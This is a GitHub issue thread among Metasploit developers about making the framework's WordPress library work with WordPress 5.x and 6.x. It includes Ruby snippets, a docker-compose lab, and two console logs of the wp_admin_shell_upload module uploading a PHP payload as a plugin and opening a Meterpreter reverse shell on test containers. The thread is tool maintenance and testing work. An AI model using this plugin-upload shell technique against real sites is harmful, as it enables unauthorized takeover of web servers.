WordPress mixin needs to be updated for 5.x

[wvu]

The following changes are known:

1. _wpnonce has been renamed to nonce
2. Plugin editing API has changed
3. Plugin uploading?

The following files will need changes:

1. lib/msf/core/exploit/http/wordpress/admin.rb
2. lib/msf/core/exploit/http/wordpress/helpers.rb

All these files are suspect:

wvu@kharak:/rapid7/metasploit-framework:feature/wordpress$ git grep -l _wpnonce
lib/msf/core/exploit/http/wordpress/admin.rb
lib/msf/core/exploit/http/wordpress/helpers.rb
modules/auxiliary/scanner/http/wp_arbitrary_file_deletion.rb
modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb
modules/exploits/multi/http/wp_crop_rce.rb
modules/exploits/multi/http/wp_db_backup_rce.rb
modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb
modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb
wvu@kharak:/rapid7/metasploit-framework:feature/wordpress$

#12853

[ccondon-r7]

@wvu-r7 I assume this still needs to be done?

[wvu]

It does. We can't write exploits using this library functionality for newer WordPress versions.

If plugin uploading doesn't work for 5.x, then post-auth RCE against WordPress would be "broken," as this is the most common way we shell a target. There are other ways, but we haven't implemented them in the library.

[ccondon-r7]

Gotcha, you know who's probably gonna be assigned to this 🥇

[github-actions]

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

[gwillcox-r7]

Nm, I'm an idiot, this is not resolved at all, ignore the opening and closing of this issue, we had an internal ticket tracking this which suggested that this was resolved by another PR. However closer inspection shows this is not the case and the issues still exist.

[h00die]

of not, the library will need to be updated. however the modules that reference it directly most likely wont need to be since they're only applicable for older versions.

[heyder]

Not sure if I understood it right, but if the lib changes the below modules won't works in older WordPress versions, right?

$ git grep -l wordpress_upload_plugin modules/
modules/exploits/unix/webapp/wp_admin_shell_upload.rb
modules/exploits/unix/webapp/wp_pie_register_bypass_rce.rb

[heyder]

1. _wpnonce has been renamed to nonce

Seems _wpnonce still the default name for the nonce field.

https://github.com/WordPress/WordPress/blob/5cd2e835d8aac8ffac7f7a004a74aade58ee03e4/wp-includes/functions.php#L977-L987

2. Plugin editing API has changed
   @agalway-r7 I'd appreciate some direction here.

3. Plugin uploading?

Plugin uploading seems to work fine. Tested on latest WordPress version 5.9.3

msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 172.21.0.1:4444 
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Acquired a plugin upload nonce: c20b69247b
[*] 5.9.3 <-----  printing version
[*] Uploaded plugin chyAJkoFdB
[*] Executing the payload at /wp-content/plugins/chyAJkoFdB/EdgoVByaPf.php...
[*] Sending stage (39860 bytes) to 172.21.0.3
[+] Deleted EdgoVByaPf.php
[+] Deleted chyAJkoFdB.php
[+] Deleted ../chyAJkoFdB
[*] Meterpreter session 2 opened (172.21.0.1:4444 -> 172.21.0.3:50158 ) at 2022-04-20 18:57:39 +0200

meterpreter > 

[noraj]

I'm wondering if wp_admin_shell_upload is not working (Exploit aborted due to failure: not-found: The target does not appear to be using WordPress) because the WP is 6.4 (> 5.x) or because there is no way to provide a custom login path (extension Rename wp-login.php).

[bcoles]

I'm wondering if wp_admin_shell_upload is not working (Exploit aborted due to failure: not-found: The target does not appear to be using WordPress) because the WP is 6.4 (> 5.x)

You can skip the WordPress check using set WPCHECK false.

or because there is no way to provide a custom login path (extension Rename wp-login.php).

If wp-login.php does not allow logins then the module will fail.

metasploit-framework/modules/exploits/unix/webapp/wp_admin_shell_upload.rb

Lines 77 to 81 in ffbaf3b

	def exploit
	fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
	print_status("Authenticating with WordPress using #{username}:#{password}...")
	cookie = wordpress_login(username, password)

metasploit-framework/lib/msf/core/exploit/remote/http/wordpress/login.rb

Lines 10 to 16 in ffbaf3b

	def wordpress_login(user, pass, timeout = 20)
	redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
	res = send_request_cgi({
	'method' => 'POST',
	'uri' => wordpress_url_login,
	'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
	}, timeout)

metasploit-framework/lib/msf/core/exploit/remote/http/wordpress/uris.rb

Lines 4 to 9 in ffbaf3b

	# Returns the Wordpress Login URL
	#
	# @return [String] Wordpress Login URL
	def wordpress_url_login
	normalize_uri(target_uri.path, 'wp-login.php')
	end

[adfoster-r7]

I believe the original issue was resolved by #14882

I just ran through creating a fresh wordpress 6.4.2 build with docker-compose up:

# docker-compose.yml
services:
  db:
    # We use a mariadb image which supports both amd64 & arm64 architecture
    image: mariadb:10.6.4-focal
    # If you really want to use MySQL, uncomment the following line
    #image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:latest
    ports:
      - 8000:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress

Confirming modules/exploits/unix/webapp/wp_admin_shell_upload.rb works with 6.4.2:

msf6 exploit(unix/webapp/wp_admin_shell_upload) > run rhost=127.0.0.1 rport=8000 lhost=192.168.123.1  username=admin password=password

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] Authenticating with WordPress using admin:password...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Acquired a plugin upload nonce: efc94bee2c
[*] Uploaded plugin ZczsZDfKnm
[*] Executing the payload at /wp-content/plugins/ZczsZDfKnm/cgRfSinoOO.php...
[*] Sending stage (39927 bytes) to 192.168.123.1
[+] Deleted cgRfSinoOO.php
[+] Deleted ZczsZDfKnm.php
[+] Deleted ../ZczsZDfKnm
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.1:50689) at 2024-01-10 10:20:20 +0000

meterpreter > 

I'm wondering if wp_admin_shell_upload is not working (Exploit aborted due to failure: not-found: The target does not appear to be using WordPress) because the WP is 6.4 (> 5.x) or because there is no way to provide a custom login path (extension Rename wp-login.php).

We could make it configurable as a datastore option

We've also got the ability to log all Http requests and responses with httptrace=true if that helps to track down the edgecase a bit better:

msf6 exploit(unix/webapp/wp_admin_shell_upload) > run rhost=127.0.0.1 rport=8000 lhost=192.168.123.1  username=admin password=password httptrace=true

From the docs: https://docs.metasploit.com/docs/pentesting/metasploit-guide-http.html#http-debugging

Then it'd be super easy to just diff the out of the box wordpress docker setup that works versus the broken target

[noraj]

Yeah that's it, because of rename-wp-login (not uncommon to have wp-login renamed has hardening), so target_uri.path + 'wp-login.php' doesn't exist but is target_uri.path + '/custom/index.php' instead.